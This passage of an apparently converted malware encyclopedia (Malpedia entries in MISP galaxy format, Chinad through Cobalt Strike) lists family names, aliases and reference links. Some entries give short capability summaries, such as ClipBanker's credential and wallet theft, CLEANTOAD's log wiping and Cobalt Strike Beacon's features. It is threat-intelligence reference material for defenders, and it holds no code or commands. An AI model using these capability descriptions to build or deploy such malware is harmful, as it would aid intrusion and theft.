</tr>
<tr>
<td><a href="https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day">https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-union">https://www.secureworks.com/research/threat-profiles/bronze-union</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/iron-taurus/">https://unit42.paloaltonetworks.com/atoms/iron-taurus/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html">https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html</a></td>
</tr>
<tr>
<td><a href="https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers">https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/">https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CyberRaiju/status/1373582619707867136">https://twitter.com/CyberRaiju/status/1373582619707867136</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-express">https://www.secureworks.com/research/threat-profiles/bronze-express</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mohawk">https://www.secureworks.com/research/threat-profiles/bronze-mohawk</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/">https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers">https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/">https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.praetorian.com/blog/reproducing-proxylogon-exploit/">https://www.praetorian.com/blog/reproducing-proxylogon-exploit/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-275a">https://us-cert.cisa.gov/ncas/alerts/aa20-275a</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits">https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/">https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-atlas">https://www.secureworks.com/research/threat-profiles/bronze-atlas</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0020/">https://attack.mitre.org/software/S0020/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/">https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/">https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/">https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/</a></td>
</tr>
<tr>
<td><a href="https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/">https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/china-chopper-webshell/">https://unit42.paloaltonetworks.com/china-chopper-webshell/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/">https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/</a></td>
</tr>
</tbody>
</table>
Chinad

Adware that shows advertisements using plugin techniques for popular browsers

The tag is: misp-galaxy:malpedia="Chinad"

Chinad is also known as:
ChinaJm

Ransomware.

The tag is: `misp-galaxy:malpedia="ChinaJm"`

ChinaJm is also known as:

Chinotto (Windows)

The tag is: `misp-galaxy:malpedia="Chinotto (Windows)"`

Chinotto (Windows) is also known as:

Chinoxy

The tag is: `misp-galaxy:malpedia="Chinoxy"`

Chinoxy is also known as:
Table 2711. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy">https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis">https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/56fa1b2f">https://community.riskiq.com/article/56fa1b2f</a></td>
</tr>
<tr>
<td><a href="https://nao-sec.org/2021/01/royal-road-redive.html">https://nao-sec.org/2021/01/royal-road-redive.html</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/5fe2da7f">https://community.riskiq.com/article/5fe2da7f</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf</a></td>
</tr>
</tbody>
</table>

Chir

The tag is: misp-galaxy:malpedia="Chir"

Chir is also known as:

Table 2712. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chir">https://malpedia.caad.fkie.fraunhofer.de/details/win.chir</a></td>
</tr>
</tbody>
</table>

Chisel (Windows)

Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor. Github: https://github.com/jpillora/chisel

The tag is: misp-galaxy:malpedia="Chisel (Windows)"

Chisel (Windows) is also known as:
**ChiserClient**

The tag is: `misp-galaxy:malpedia="ChiserClient"`

ChiserClient is also known as:

**Choziosi (Windows)**

The tag is: `misp-galaxy:malpedia="Choziosi (Windows)"

Choziosi (Windows) is also known as:

- ChromeLoader

**Chthonic**

The tag is: `misp-galaxy:malpedia="Chthonic"`

Chthonic is also known as:
AndroKINS

Table 2716. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic">https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic</a></td>
</tr>
<tr>
<td><a href="https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html">https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html</a></td>
</tr>
</tbody>
</table>

cifty

The tag is: misp-galaxy:malpedia="cifty"

cifty is also known as:

Table 2717. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cifty">https://malpedia.caad.fkie.fraunhofer.de/details/win.cifty</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2009/06/win32updateexe-md5-eec80fd4c7fc5cf5522f.html">http://contagiodump.blogspot.com/2009/06/win32updateexe-md5-eec80fd4c7fc5cf5522f.html</a></td>
</tr>
</tbody>
</table>

Cinobi

The tag is: misp-galaxy:malpedia="Cinobi"

Cinobi is also known as:

Table 2718. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi">https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi</a></td>
</tr>
</tbody>
</table>
Cinoshi

The tag is: misp-galaxy:malpedia=“Cinoshi”

Cinoshi is also known as:

- Agniane

Table 2719. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cinoshi">https://malpedia.caad.fkie.fraunhofer.de/details/win.cinoshi</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=-KJ0HivmVI0">https://www.youtube.com/watch?v=-KJ0HivmVI0</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/suyog41/status/1633807752127475713?s=20">https://twitter.com/suyog41/status/1633807752127475713?s=20</a></td>
</tr>
</tbody>
</table>

Citadel

The tag is: misp-galaxy:malpedia=“Citadel”

Citadel is also known as:

Table 2720. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel">https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel</a></td>
</tr>
<tr>
<td><a href="http://www.xylibox.com/2016/02/citadel-0011-atmos.html">http://www.xylibox.com/2016/02/citadel-0011-atmos.html</a></td>
</tr>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/02/banking-trojan%E2%80%9427d6.html">http://blog.jpcert.or.jp/2016/02/banking-trojan—27d6.html</a></td>
</tr>
<tr>
<td><a href="https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals">https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals</a></td>
</tr>
</tbody>
</table>

Clambling

Clambling was discovered by Trend Micro and TalentJump. It is a custom malware used by an actor they refer to as DRBControl, which targets gambling and betting companies in Southeast Asia. One version of Clambling uses Dropbox as C&C channel to hide its communication.

The tag is: misp-galaxy:malpedia=“Clambling”

Clambling is also known as:
CLASSFON

The tag is: **misp-galaxy:malpedia=“CLASSFON”**

CLASSFON is also known as:

<table>
<thead>
<tr>
<th>Table 2722. Table References</th>
</tr>
</thead>
</table>
| Links
| https://malpedia.caad.fkie.fraunhofer.de/details/win.classfon |
| https://content.fireeye.com/apt-41/rpt-apt41/ |

CLEANTOAD

CLEANTOAD is a disruption tool that will delete file system artifacts, including those related to BLINDTOAD, and will run after a date obtained from a configuration file. The malware injects shellcode into notepad.exe and it overwrites and deletes files, modifies registry keys, deletes services, and clears Windows event logs.

The tag is: **misp-galaxy:malpedia=“CLEANTOAD”**

CLEANTOAD is also known as:

<table>
<thead>
<tr>
<th>Table 2723. Table References</th>
</tr>
</thead>
</table>
| Links
| https://malpedia.caad.fkie.fraunhofer.de/details/win.cleantoad |

Client Maximus

The tag is: **misp-galaxy:malpedia=“Client Maximus”**

Client Maximus is also known as:

<table>
<thead>
<tr>
<th>Table 2724. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.clientmaximus">https://malpedia.caad.fkie.fraunhofer.de/details/win.clientmaximus</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf">https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf</a></td>
</tr>
</tbody>
</table>
ClipBanker

The ClipBanker Trojan is known as an information stealer and spy trojan, it aims to steal and record any type of sensitive information from the infected environment such as browser history, cookies, Outlook data, Skype, Telegram, or cryptocurrency wallet account addresses. The main goal of this threat is to steal confidential information. The ClipBanker uses PowerShell commands for executing malicious activities. The thing that made the ClipBanker unique is its ability to record various banking actions of the user and manipulate them for its own benefit. The distribution method of the ClipBanker is through phishing emails or through social media posts that lure users to download malicious content.

The tag is: `misp-galaxy:malpedia="ClipBanker"`

ClipBanker is also known as:

Table 2725. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker">https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/">https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/</a></td>
</tr>
</tbody>
</table>

Clop (Windows)

Clop is a ransomware which uses the .clop extension after having encrypted the victim's files. Another unique characteristic belonging with Clop is in the string: "Dont Worry C|0P" included into the ransom notes. It is a variant of CryptoMix ransomware, but it additionally attempts to disable Windows Defender and to remove the Microsoft Security Essentials in order to avoid user space detection.

The tag is: `misp-galaxy:malpedia="Clop (Windows)"`

Clop (Windows) is also known as:
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.clop">https://malpedia.caad.fkie.fraunhofer.de/details/win.clop</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot">https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics">https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/">https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/clop-ransomware/">https://unit42.paloaltonetworks.com/clop-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/operation-syntrek-e5013df8d167">https://medium.com/s2wlab/operation-syntrek-e5013df8d167</a></td>
</tr>
<tr>
<td><a href="https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md">https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/">https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://github.com/Tera0017/TAFOF-Unpacker">https://github.com/Tera0017/TAFOF-Unpacker</a></td>
</tr>
<tr>
<td><a href="https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824">https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-c26daec604da4db6b3c93e26e6c7aa26">https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-c26daec604da4db6b3c93e26e6c7aa26</a></td>
</tr>
<tr>
<td><a href="https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownload/2297.do">https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownload/2297.do</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/modern-ransomware-groups-ttps/106824/">https://securelist.com/modern-ransomware-groups-ttps/106824/</a></td>
</tr>
<tr>
<td><a href="https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/">https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/</a></td>
</tr>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/clop-ransomware/">https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/clop-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf">https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf</a></td>
</tr>
</tbody>
</table>
CLOUDPURST

The tag is: **misp-galaxy:malpedia=“CLOUDPURST”**

CLOUDPURST is also known as:

- NickelLoader

Table 2727. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst">https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970">https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970</a></td>
</tr>
</tbody>
</table>

CloudEyE

CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.

The tag is: **misp-galaxy:malpedia=“CloudEyE”**

CloudEyE is also known as:

- GuLoader
- vbdropper

Table 2728. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>URL</th>
<th>Title</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye">https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye</a></td>
<td>Details of Win.Cloudeye malware</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=K3Yxu_9OUxU">https://www.youtube.com/watch?v=K3Yxu_9OUxU</a></td>
<td>YouTube video about Raticate Rats as Service with Commercial Crypter</td>
</tr>
<tr>
<td><a href="https://twitter.com/TheEnergyStory/status/1239110192060608513">https://twitter.com/TheEnergyStory/status/1239110192060608513</a></td>
<td>The Energy Story tweet about Guloader</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=-FxyzuRv6Wg">https://www.youtube.com/watch?v=-FxyzuRv6Wg</a></td>
<td>YouTube video about Guloader</td>
</tr>
<tr>
<td><a href="https://kienmanowar.wordpress.com/2020/06/27/quick-analysis-note-about-guloader-or-cloudeye/">https://kienmanowar.wordpress.com/2020/06/27/quick-analysis-note-about-guloader-or-cloudeye/</a></td>
<td>Kienmanowar quick analysis note about Guloader or Cloudeye</td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/threat-actors-migrating-to-the-cloud/">https://research.checkpoint.com/2020/threat-actors-migrating-to-the-cloud/</a></td>
<td>Research Checkpoint blog about threat actors migrating to the cloud</td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader-part-two">https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader-part-two</a></td>
<td>Fortinet blog about Guloader</td>
</tr>
<tr>
<td><a href="https://www.joesecurity.org/blog/3535317197858305930">https://www.joesecurity.org/blog/3535317197858305930</a></td>
<td>Joe Security blog about Guloader</td>
</tr>
<tr>
<td><a href="https://forensicitguy.github.io/guloader-executing-shellcode-callbacks/">https://forensicitguy.github.io/guloader-executing-shellcode-callbacks/</a></td>
<td>Forensicitguy blog about Guloader executing shellcode callbacks</td>
</tr>
<tr>
<td><a href="https://labs.vipre.com/unloading-the-guloader/">https://labs.vipre.com/unloading-the-guloader/</a></td>
<td>VIPRE blog about Guloader</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=N0wAh26wShE">https://www.youtube.com/watch?v=N0wAh26wShE</a></td>
<td>YouTube video about Guloader</td>
</tr>
<tr>
<td><a href="https://malwation.com/malware-config-extraction-diaries-1-guloader/">https://malwation.com/malware-config-extraction-diaries-1-guloader/</a></td>
<td>Malwation blog about Guloader</td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/?p=21725Lokesh">https://labs.k7computing.com/?p=21725Lokesh</a></td>
<td>Labs K7Computing blog about Guloader</td>
</tr>
<tr>
<td><a href="https://sansorg.egnyte.com/dl/ALlwvK6fp0">https://sansorg.egnyte.com/dl/ALlwvK6fp0</a></td>
<td>SANS blog about Guloader</td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1257206565146370050">https://twitter.com/VK_Intel/status/1257206565146370050</a></td>
<td>VK Intel tweet about Guloader</td>
</tr>
<tr>
<td><a href="https://clickallthethings.wordpress.com/2021/03/06/oleobject1-bin-ole10native-shellcode/">https://clickallthethings.wordpress.com/2021/03/06/oleobject1-bin-ole10native-shellcode/</a></td>
<td>ClickAllTheThings blog about Guloader</td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/?p=20156">https://labs.k7computing.com/?p=20156</a></td>
<td>Labs K7Computing blog about Guloader</td>
</tr>
<tr>
<td>URL</td>
<td></td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1255537954304524288">https://twitter.com/VK_Intel/status/1255537954304524288</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://malwarebookreports.com/guloader-navigating-a-maze-of-intricacy/">https://malwarebookreports.com/guloader-navigating-a-maze-of-intricacy/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/TheEnergyStory/status/1240608893610459138">https://twitter.com/TheEnergyStory/status/1240608893610459138</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/guloader-the-rat-downloader">https://blog.morphisec.com/guloader-the-rat-downloader</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/08/29/office-files-rtf-files-shellcode-and-more-shenanigans">https://inquest.net/blog/2022/08/29/office-files-rtf-files-shellcode-and-more-shenanigans</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.guloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.guloader</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943">https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://hidocohen.medium.com/guloaders-anti-analysis-techniques-e0d4b8437195">https://hidocohen.medium.com/guloaders-anti-analysis-techniques-e0d4b8437195</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/guloader-malware-analysis/">https://www.crowdstrike.com/blog/guloader-malware-analysis/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://any.run/cybersecurity-blog/deobfuscating-guloader/">https://any.run/cybersecurity-blog/deobfuscating-guloader/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/">https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/sysopfb/status/1258809373159305216">https://twitter.com/sysopfb/status/1258809373159305216</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.vincss.net/2020/05/re014-guloader-antivm-techniques.html">https://blog.vincss.net/2020/05/re014-guloader-antivm-techniques.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1252678206852907011">https://twitter.com/VK_Intel/status/1252678206852907011</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://threatresearch.ext.hpe.com/javascript-malware-dispensing-rats-into-the-wild/">https://threatresearch.ext.hpe.com/javascript-malware-dispensing-rats-into-the-wild/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/guloader-cloudeye/">https://research.checkpoint.com/2020/guloader-cloudeye/</a></td>
<td></td>
</tr>
</tbody>
</table>
CloudWizard

The tag is: misp-galaxy:malpedia="CloudWizard"

CloudWizard is also known as:

Table 2729. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard">https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cloudwizard-apt/109722/">https://securelist.com/cloudwizard-apt/109722/</a></td>
</tr>
</tbody>
</table>

CloudDuke

F-Secure describes CloudDuke as a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants. The CloudDuke downloader will download and execute additional malware from a preconfigured location. Interestingly, that location may be either a web address or a Microsoft OneDrive account. Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke. While one variant will use a preconfigured C&C server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators.

The tag is: misp-galaxy:malpedia="CloudDuke"

CloudDuke is also known as:

- CloudLook
- MiniDionis

Table 2730. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke">https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke</a></td>
</tr>
<tr>
<td><a href="https://www.f-secure.com/weblog/archives/00002822.html">https://www.f-secure.com/weblog/archives/00002822.html</a></td>
</tr>
</tbody>
</table>
**CMSBrute**

The tag is: `misp-galaxy:malpedia="CMSBrute"`

CMSBrute is also known as:

*Table 2731. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute">https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-shade-encryptor-a-double-threat/72087/">https://securelist.com/the-shade-encryptor-a-double-threat/72087/</a></td>
</tr>
</tbody>
</table>

**CMSTAR**

The tag is: `misp-galaxy:malpedia="CMSTAR"`

CMSTAR is also known as:

- meciv

*Table 2732. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar">https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ClearskySec/status/963829930776723461">https://twitter.com/ClearskySec/status/963829930776723461</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan">https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan</a></td>
</tr>
</tbody>
</table>

**CoalaBot**

The tag is: `misp-galaxy:malpedia="CoalaBot"`

CoalaBot is also known as:

*Table 2733. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.coalabot">https://malpedia.caad.fkie.fraunhofer.de/details/win.coalabot</a></td>
</tr>
</tbody>
</table>
CobaltMirage FRP

This Go written malware was observed during campaign of COBALT MIRAGE; it includes FRP (Fast Reverse Proxy) published by fatedier on GitHub ([https://github.com/fatedier/frp](https://github.com/fatedier/frp)) and other projects additionally.

The tag is: misp-galaxy:malpedia="CobaltMirage FRP"

CobaltMirage FRP is also known as:

<table>
<thead>
<tr>
<th>Table 2734. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalmirage_tunnel">https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalmirage_tunnel</a></td>
</tr>
</tbody>
</table>

Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

The tag is: misp-galaxy:malpedia="Cobalt Strike"

Cobalt Strike is also known as:

- Agentemis
- BEACON
- CobaltStrike
- cobeacon

<table>
<thead>
<tr>
<th>Table 2735. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/obscureserpens/">https://unit42.paloaltonetworks.com/atoms/obscureserpens/</a></td>
</tr>
<tr>
